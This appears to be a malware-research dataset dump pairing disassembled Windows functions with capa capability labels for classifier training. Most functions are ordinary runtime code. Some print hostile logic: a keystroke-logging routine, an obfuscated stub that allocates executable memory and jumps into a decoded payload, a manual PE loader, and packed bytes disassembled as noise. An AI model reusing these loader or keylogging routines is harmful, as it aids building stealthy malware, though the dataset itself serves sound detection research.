joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10012490
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10057a25
mov eax, dword fs:[0]
push eax
sub esp, 0x81c
mov eax, dword [0x10083a30]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edi, ecx
mov edx, dword [edi]
mov dword [ebp - 0x814], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x820], edi
call eax
mov eax, dword [edi + 4]
lea ecx, [ebp - 0x824]
push ecx
lea edx, [ebp - 0x828]
push edx
add eax, 4
push eax
call fcn.10055012
add esp, 0xc
test eax, eax
jne 0x1001253e
mov ecx, dword [edi + 4]
push 0x1005f994
push ecx
call fcn.10055012
mov esi, eax
add esp, 8
test esi, esi
jne 0x10012672
mov edx, dword [edi + 4]
mov ebx, dword [edx + 0x16]
mov esi, dword [sym.imp.msvcr100.dll_fseek]
push 2
push eax
push ebx
call esi
add esp, 0xc
test eax, eax
je 0x10012548
mov eax, dword [edi]
mov edx, dword [eax + 0x10]
mov ecx, edi
call edx
mov eax, 0x34
jmp 0x10012674
mov esi, 0x30
jmp 0x10012672
push ebx
call dword [sym.imp.msvcr100.dll_ftell]
push 0
push 0
push ebx
mov edi, eax
call esi
add esp, 0x10
test eax, eax
je 0x10012576
mov ecx, dword [ebp - 0x820]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
call edx
mov eax, 0x34
jmp 0x10012674
mov eax, dword [ebp - 0x814]
push eax
lea ecx, [ebp - 0x81c]
call fcn.10055012
mov ecx, dword [ebp - 0x818]
push 0x1005f9ec
push ecx
mov dword [ebp - 4], 0
call fcn.10055012
mov esi, eax
add esp, 8
test esi, esi
jne 0x10012653
mov edx, dword [ebp - 0x818]
mov eax, dword [edx + 0x16]
mov dword [ebp - 0x814], eax
test edi, edi
je 0x10012611
mov esi, edi
cmp edi, 0x800
jbe 0x100125cf
mov esi, 0x800
push ebx
push 1
lea ecx, [ebp - 0x810]
push esi
push ecx
call dword [sym.imp.msvcr100.dll_fread]
add esp, 0x10
test eax, eax
je 0x10012692
mov edx, dword [ebp - 0x814]
push edx
push 1
lea eax, [ebp - 0x810]
push esi
push eax
call dword [sym.imp.msvcr100.dll_fwrite]
add esp, 0x10
test eax, eax
je 0x10012692
sub edi, esi
jne 0x100125c0
lea ecx, [ebp - 0x81c]
call sym.ScCore.dll_public_virtual:_int___thiscall_ScCore::File::close_void_
mov esi, eax
test esi, esi
jne 0x10012653
mov ecx, dword [ebp - 0x818]
add ecx, 4
push ecx
call fcn.10055012
mov edx, dword [ebp - 0x824]
mov eax, dword [ebp - 0x828]
mov ecx, dword [ebp - 0x818]
push edx
push eax
add ecx, 4
push ecx
call fcn.10035870
add esp, 0x10
mov esi, eax
mov ecx, dword [ebp - 0x820]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
lea ecx, [ebp - 0x81c]
mov dword [ebp - 4], 0xffffffff
call fcn.10055012
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10054c72
mov esp, ebp
pop ebp
ret 4
mov esi, 0x34
jmp 0x10012653
Function at 0x100374a0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov esi, eax
test esi, esi
jne 0x100374cb
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
mov eax, dword [ebp - 8]
push eax
mov eax, esi
call fcn.10055012
add esp, 4
mov dword [ebp - 4], eax
test eax, eax
je 0x100374f9
push eax
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
jne 0x100374f2
mov eax, esi
mov dword [ebp - 4], eax
jmp 0x100374f5
mov eax, dword [ebp - 4]
test eax, eax
jne 0x1003750b
lea ecx, [ebp - 8]
push ecx
push 0x10037470
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [ebp - 4]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10037510
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
mov eax, dword [0x10083a30]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.10055012
mov dword [ebp - 0x188], eax
test eax, eax
je 0x1003768b
push ebx
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
test esi, esi
je 0x10037565
mov edi, dword [sym.imp.USER32.dll_GetWindow]
mov ebx, dword [sym.imp.USER32.dll_GetParent]
push 4
push esi
call edi
test eax, eax
jne 0x10037561
push esi
call ebx
test eax, eax
je 0x10037565
mov esi, eax
jmp 0x10037551
push 0x100
lea eax, [ebp - 0x184]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x1003767b
push 0x80
lea ecx, [ebp - 0x84]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x1003767b
lea edx, [ebp - 0x184]
push edx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, esi
jne 0x1003767b
test esi, esi
je 0x1003767b
push 0xfffffffffffffffc
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push esi
mov ebx, eax
call edi
mov ecx, dword [ebp - 0x188]
push 0
push ecx
mov esi, eax
call edi
mov edi, eax
test ebx, ebx
je 0x1003767b
cmp edi, esi
je 0x1003767b
mov ebx, dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
push esi
push edi
call ebx
test eax, eax
je 0x10037628
mov edx, dword [ebp - 0x188]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
push esi
push edi
call ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10054c72
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2000
call esi
push 2
lea ecx, [ebp - 0x190]
push ecx
push 0
push 0x2001
mov dword [ebp - 0x190], 0
call esi
mov edx, dword [ebp - 0x188]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 2
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001
call esi
mov ecx, dword [ebp - 0x188]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10054c72
mov esp, ebp
pop ebp
ret
Function at 0x10037780
Capabilities:
Resume thread

Disassembly:
cmp dword [ecx + 0xc], 0
jne 0x10037790
mov eax, dword [ecx + 4]
push eax
call dword [sym.imp.kernel32.dll_ResumeThread]
ret

Function at 0x100377b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005b5b3
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x10083a30]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
xor edi, edi
mov dword [ebp - 4], edi
mov dword [esi], vtable.ScCore::Thread.0
mov dword [esi + 0xc], edi
mov byte [esi + 0x10], 1
call fcn.10055012
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
push 4
push esi
push sym.ScCore.dll_private:_static_unsigned_int___stdcall_ScCore::Thread::go_void__
push edi
push edi
mov dword [ebp - 0x18], edx
call dword [sym.imp.msvcr100.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x10037839
mov dword [esi + 0xc], 0x20
mov dword [esi + 8], edi
mov dword [esi + 4], edi
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x10]
mov dword [esi + 8], ecx
mov eax, dword [0x10083aa8]
cmp eax, edi
jne 0x1003784d
call sym.ScCore.dll_public:_static_class_ScCore::Context____cdecl_ScCore::Context::get_void_
mov edx, dword [ebp - 0x18]
mov dword [eax + 0x52], ebx
mov dword [eax + 0x56], edx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10037b30
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x10083674]
cmp eax, 0xffffffff
je 0x10037b80
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x10037b71
cmp esi, dword [0x10083be8]
jne 0x10037b5a
mov dword [0x10083be8], 0
mov ecx, esi
call fcn.10020480
mov ecx, esi
call fcn.10055012
push esi
call sub.msvcr100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [0x10083674]
push 0
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
pop esi
ret

Function at 0x10037b90
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x10083be8]
test eax, eax
jne 0x10037bfa
mov eax, dword [0x10083674]
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
jne 0x10037bfa
push esi
push 0x16c
call sub.msvcr100.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x10037bc6
mov ecx, eax
call fcn.10055012
mov esi, eax
jmp 0x10037bc8
xor esi, esi
cmp byte [0x10083be4], 0
jne 0x10037be2
mov ecx, esi
mov dword [0x10083be8], esi
call fcn.10020740
mov eax, esi
pop esi
ret
mov ecx, dword [0x10083674]
push esi
push ecx
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov ecx, esi
call fcn.10020740
mov eax, esi
pop esi
ret

Function at 0x100437a0
Capabilities:
Encode data using xor

Disassembly:
movzx ecx, word [edx]
xor eax, eax
test cx, cx
je 0x100437c6
lea ebx, [ebx]
imul eax, eax, 0xf4243
movzx ecx, cx
add edx, 2
xor eax, ecx
movzx ecx, word [edx]
test cx, cx
jne 0x100437b0
ret
Function at 0x10054c72
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10083a30]
jne 0x10054c7c
repz ret
jmp fcn.100553b9

Function at 0x10055012
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x10055021
pop dword [ebp - 0x10]
mov eax, 0x31964927
sub eax, 0x2190f906
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x564af702
sub dword [ebp - 0x20], 0x7f8b1b7
mov dword [ebp - 0x1c], 0xd99f46bb
sub dword [ebp - 0x1c], 0xa76bfa76
mov dword [ebp - 0x18], 0x2856e7bb
sub dword [ebp - 0x18], 0xdc0aa38d
mov dword [ebp - 0x14], 0x1db434d3
sub dword [ebp - 0x14], 0x1db434d3
lea eax, [ebp - 0x20]
push eax
mov eax, 0x9b49dcfc
add eax, 0x74bbf40c
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x4b34e52c
add dword [ebp - 0x20], 0x293d842a
mov dword [ebp - 0x1c], 0x44374c97
sub dword [ebp - 0x1c], 0x2caeb22
mov dword [ebp - 0x18], 0xc64c778c
sub dword [ebp - 0x18], 0x62dd0b20
mov dword [ebp - 0x14], 0x81b8fba2
add dword [ebp - 0x14], 0x7e47045e
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x560d3
push 0
call eax
mov ecx, 0x6128
mov ebx, eax
mov edi, 0xf15ac353
sub edi, 0xe151b553
add edi, dword [ebp - 0x10]
mov edx, 0x13cc8a82
xor dword [ebp - 4], 0x827456e7
mov esi, dword [edi]
add dword [ebp - 8], eax
add esi, edx
mov dword [ebx], esi
mov dword [ebp - 0xc], 0x36a12f4b
add ebx, 4
add edi, 0xed5d93af
add edi, 0x12a26c55
loop 0x10055132
add eax, 0x17773
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xe402945
add ecx, 0x1bfd6bb
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x40f197
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419794]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040a16b
mov dword [ebp - 0x14], eax
cmp dword [0x47bebc], esi
jne 0x40f28a
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40f217
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40f36a
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40f36a
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40f36a
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x47bebc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x47bec0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x47bec4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x47becc], eax
test eax, eax
je 0x40f287
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x47bec8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40f2af
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40f2a2
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40f2c4
push 4
pop eax
jmp 0x40f36c
cmp dword [ebp - 0x14], esi
je 0x40f2c4
push dword [0x47bebc]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40f2a9
mov eax, dword [0x47bec8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40f322
cmp dword [0x47becc], edi
je 0x40f322
push eax
call ebx
push dword [0x47becc]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40f322
test eax, eax
je 0x40f322
call ecx
test eax, eax
je 0x40f317
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40f317
test byte [ebp - 8], 1
jne 0x40f322
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40f352
mov eax, dword [0x47bec0]
cmp eax, edi
je 0x40f34f
push eax
call ebx
test eax, eax
je 0x40f34f
call eax
mov esi, eax
test esi, esi
je 0x40f34f
mov eax, dword [0x47bec4]
cmp eax, edi
je 0x40f34f
push eax
call ebx
test eax, eax
je 0x40f34f
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x47bebc]
call ebx
test eax, eax
je 0x40f36a
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40f36c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040482b
mov esp, ebp
pop ebp
ret
Function at 0x4029c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, dword [esp + 0xc]
cmp ebp, 1
push edi
mov edi, ecx
jl 0x402aab
mov eax, dword [esp + 0xc]
push esi
mov esi, dword [esp + 0x18]
push ebp
push eax
push esi
call fcn.0040e4b0
add esp, 0xc
cmp ebp, 1
jne 0x402a0a
movzx ecx, byte [esi]
movzx edx, byte [edi + 0x20020]
add ecx, 0x100
shl ecx, 8
add ecx, edi
mov al, byte [edx + ecx]
mov byte [esi], al
pop esi
pop edi
pop ebp
ret 0xc
lea ecx, [ebp - 1]
xor eax, eax
test ecx, ecx
jle 0x402a40
push ebx
jmp 0x402a20
movzx edx, byte [eax + esi]
movzx ebx, byte [eax + esi + 1]
add edx, 0x100
shl edx, 8
add edx, edi
mov dl, byte [ebx + edx]
mov byte [eax + esi], dl
inc eax
cmp eax, ecx
jl 0x402a20
pop ebx
movzx eax, byte [edi + 0x20020]
movzx edx, byte [esi + ebp - 1]
xor eax, 0x55
add edx, 0x100
add eax, edi
shl edx, 8
mov al, byte [edx + eax]
mov byte [esi + ebp - 1], al
mov eax, ecx
cmp eax, 1
jl 0x402a90
jmp 0x402a70
movzx edx, byte [eax + esi]
movzx ecx, byte [eax + esi - 1]
add edx, 0x100
shl edx, 8
add ecx, edi
mov cl, byte [edx + ecx]
mov byte [eax + esi], cl
dec eax
cmp eax, 1
jge 0x402a70
movzx edx, byte [esi]
movzx eax, byte [edi + 0x20020]
add edx, 0x100
shl edx, 8
add edx, edi
mov cl, byte [eax + edx]
mov byte [esi], cl
pop esi
pop edi
pop ebp
ret 0xc

Function at 0x4051e0
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 0xc]
push ebp
push edi
mov edi, dword [eax + 4]
mov eax, dword [eax]
movzx ecx, word [eax + 0x14]
xor edx, edx
xor ebp, ebp
lea ecx, [ecx + eax + 0x18]
cmp dx, word [eax + 6]
jae 0x40526c
push ebx
mov ebx, dword [0x41b068]
push esi
lea esi, [ecx + 0x10]
mov eax, dword [esi]
test eax, eax
jne 0x405234
mov eax, dword [esp + 0x18]
mov eax, dword [eax + 0x38]
test eax, eax
jle 0x405258
mov ecx, dword [esi - 4]
push eax
push 0
push 4
push 0x1000
push eax
add ecx, edi
push ecx
call ebx
push eax
call fcn.0040e430
jmp 0x405255
mov edx, dword [esi - 4]
push 4
push 0x1000
push eax
add edx, edi
push edx
call ebx
mov edx, dword [esi + 4]
mov ecx, dword [esi]
add edx, dword [esp + 0x14]
push ecx
push edx
push eax
call fcn.0040e0c0
add esp, 0xc
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax]
movzx edx, word [ecx + 6]
inc ebp
add esi, 0x28
cmp ebp, edx
jl 0x405208
pop esi
pop ebx
pop edi
pop ebp
ret
Function at 0x405270
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 8
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 4]
push ebx
mov ebx, dword [eax]
movzx edx, word [ebx + 0x14]
mov dword [esp + 4], ecx
push ebp
xor ecx, ecx
xor ebp, ebp
lea eax, [edx + ebx + 0x18]
cmp cx, word [ebx + 6]
jae 0x405337
push esi
push edi
lea edi, [eax + 0x24]
lea ecx, [ecx]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x4052d3
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [0x41b06c]
jmp 0x40531f
lea ecx, [edx + ecx*2]
lea edx, [esi + ecx*2]
mov esi, dword [edx*4 + section..data]
test eax, 0x4000000
je 0x4052ed
or esi, 0x200
mov edx, dword [edi - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x405308
test al, 0x40
je 0x4052ff
mov ecx, dword [ebx + 0x20]
jmp 0x405306
test al, al
jns 0x40531f
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x40531f
mov ecx, dword [edi - 0x18]
add ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push esi
push edx
push ecx
call dword [0x41b00c]
mov edx, dword [esp + 0x1c]
mov ebx, dword [edx]
movzx eax, word [ebx + 6]
inc ebp
add edi, 0x28
cmp ebp, eax
jl 0x4052a0
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x405550
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, dword [esp + 8]
mov eax, 0x5a4d
cmp word [ebp], ax
je 0x405564
xor eax, eax
pop ebp
ret
push edi
mov edi, dword [ebp + 0x3c]
add edi, ebp
cmp dword [edi], 0x4550
je 0x405577
pop edi
xor eax, eax
pop ebp
ret
mov ecx, dword [edi + 0x50]
mov edx, dword [edi + 0x34]
push ebx
push esi
mov esi, dword [0x41b068]
push 4
push 0x2000
push ecx
push edx
call esi
mov ebx, eax
test ebx, ebx
jne 0x4055ae
mov eax, dword [edi + 0x50]
push 4
push 0x2000
push eax
push ebx
call esi
mov ebx, eax
test ebx, ebx
je 0x40564b
push 0x14
push 0
call dword [0x41b074]
push eax
call dword [0x41b07c]
mov esi, eax
xor eax, eax
push 4
mov dword [esi + 4], ebx
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov ecx, dword [edi + 0x50]
push 0x1000
push ecx
push ebx
call dword [0x41b068]
mov edx, dword [edi + 0x54]
push 4
push 0x1000
push edx
push ebx
call dword [0x41b068]
mov ecx, dword [ebp + 0x3c]
add ecx, dword [edi + 0x54]
mov dword [esp + 0x14], eax
push ecx
push ebp
push eax
call fcn.0040e0c0
mov edx, dword [ebp + 0x3c]
mov eax, dword [esp + 0x20]
push esi
add eax, edx
push edi
mov dword [esi], eax
push ebp
mov dword [eax + 0x34], ebx
call fcn.004051e0
mov eax, ebx
add esp, 0x18
sub eax, dword [edi + 0x34]
je 0x405630
push eax
mov eax, esi
call fcn.00405340
add esp, 4
push esi
call fcn.004053c0
add esp, 4
push esi
test eax, eax
jne 0x405652
call fcn.004054e0
add esp, 4
call fcn.0040ed5f
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
ret
call fcn.00405270
mov ecx, dword [esi]
add esp, 4
cmp dword [ecx + 0x28], 0
je 0x405669
mov dword [esi + 0x10], 1
pop esi
mov eax, ebx
pop ebx
pop edi
pop ebp
ret
Function at 0x4a79b0
Capabilities:
Encode data using xor

Disassembly:
pushal
sbb eax, 0xcf1a2d34
bound edx, qword [esi + 0x28]
pop ebx
xor byte [edx - 0x63], dl
push edx
popfd
push edx
popfd
fcom qword [edx + 0x3fb2adaf]
mov dword [edx], esp
insd dword es:[edi], dx
xlatb
out dx, eax
fiadd dword [edi + 0x2e]
pop edi
cmp edi, dword [edi]
xchg ecx, eax
jno 0x4a79a5
sti
daa
pop ebx
cmpsb byte [esi], byte es:[edi]
mov dword [ecx], 0x6c17e401
or eax, 0xeb8036b5
xchg ebx, eax
mov bl, 0xb5
cld
mov al, 4
mov dl, 0x84
jle 0x4a79ed
mov dh, 0x23
mov ds, edx
add al, 0x6b
add ah, byte [edx - 0x1058ed00]
out 0x21, eax
cmp eax, 0xb1b0749
cmp al, 0x3d
mov esp, dword [edi + 0x1ea41b40]
jp 0x4a7a22
and byte [edx], ch
insd dword es:[edi], dx
sub dword [ebp - 0x14cdf778], eax
aam 0xbb
push esi
and esi, dword [0xffe45869]
in al, 0x37
jmp 0x4a7a3d
jmp dword [0xcab6ff4a]
cmc
mov esp, 0xecdc3d9
salc
insb byte es:[edi], dx
xor eax, 0x71e6a679
mov bh, 0xba
xchg edi, eax
mov ah, bl
sub al, dl
std
mov cl, 0x54
fisub dword [eax - 0x31450e01]
test dword [eax + 0x6f1b114b], ecx
int1
mov edx, 0x4b8885ce
adc dword [ebx], ebx
outsd dx, dword [esi]
salc
add dword cs:[0x94a58db5], 0x6b9e3a27
mov ebx, 0x5ca7abf7
daa
cmp bl, byte [esi - 0x54084495]
cmpsd dword [esi], dword es:[edi]
pop esp
cmp byte [ebx], ah
inc edx
push es
cmpsd dword [esi], dword es:[edi]
js 0x4a7a6a
pop es
dec edx
je 0x4a7a59
pop ds
and dword [eax + 0x5bcc7c8b], esp
inc edi
add al, 0xbd
jns 0x4a7a9e
adc byte [eax], al
wait
add byte [edi], dl
cmpsd dword [esi], dword es:[edi]
push ebx
mov bl, 0xc8
xor byte [esi - 0xf], dl
rol byte [eax], 1
adc ah, byte cs:[eax - 0x36b5570d]
dec edx
leave
mov edx, dword [ecx]
adc dword [esi + 0x52], esp
dec eax
xor eax, 0x283b6ca5
mov eax, 0x8cd47ef9
rcr dword [ebx], cl
ud1
daa
ret
Function at 0x401107
Capabilities:
Accept command line arguments

Disassembly:
push 8
mov eax, 0x54c65c
call fcn.00521f3f
push dword [ebp + 8]
lea ecx, [ebp - 0x10]
call fcn.00401e04
and dword [ebp - 4], 0
lea edi, [ebp - 0x10]
call fcn.004016a8
mov eax, dword [ebp - 0x10]
cmp dword [eax - 0xc], 0
jne 0x401142
lea ecx, [eax - 0x10]
call fcn.0040218e
mov eax, 0x80070057
jmp 0x4011b9
and dword [ebp - 0x14], 0
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 0x14], 0
mov esi, eax
je 0x40118d
test esi, esi
je 0x40118d
mov edi, dword [esi]
push edi
call fcn.0040209f
pop ecx
push eax
push edi
mov edi, dword [ebp + 0xc]
mov ecx, edi
call fcn.0040202e
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
call fcn.004016a8
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.0040218e
xor eax, eax
jmp 0x4011b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x4011a7
jle 0x4011a3
and eax, 0xffff
or eax, 0x80070000
mov esi, eax
jmp 0x4011ac
mov esi, 0x80004005
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.0040218e
mov eax, esi
call fcn.00522017
ret

Function at 0x402293
Capabilities:
Accept command line arguments

Disassembly:
push 0xc
mov eax, 0x54c359
call fcn.00521f3f
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ebp - 0x14], edi
call fcn.0041a1a4
push eax
mov ecx, esi
call fcn.00402166
xor ebx, ebx
mov dword [ebp - 4], edi
inc ebx
mov dword [ebp - 0x14], ebx
call fcn.0041a1a4
push eax
lea ecx, [ebp - 0x10]
call fcn.00402166
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
push 0x57f4dc
push esi
call fcn.00401c08
add esp, 0xc
lea edi, [ebp - 0x18]
call fcn.0040220b
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.00401c1c
mov byte [ebp - 4], bl
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.0040218e
mov edi, dword [ebp - 0x10]
cmp dword [edi - 4], ebx
jle 0x40231f
push dword [edi - 0xc]
lea ecx, [ebp - 0x10]
call fcn.00401ee8
mov edi, dword [ebp - 0x10]
push 0x57f4e4
push edi
mov ecx, esi
call fcn.004014d8
lea ecx, [edi - 0x10]
call fcn.0040218e
mov eax, esi
call fcn.00522017
ret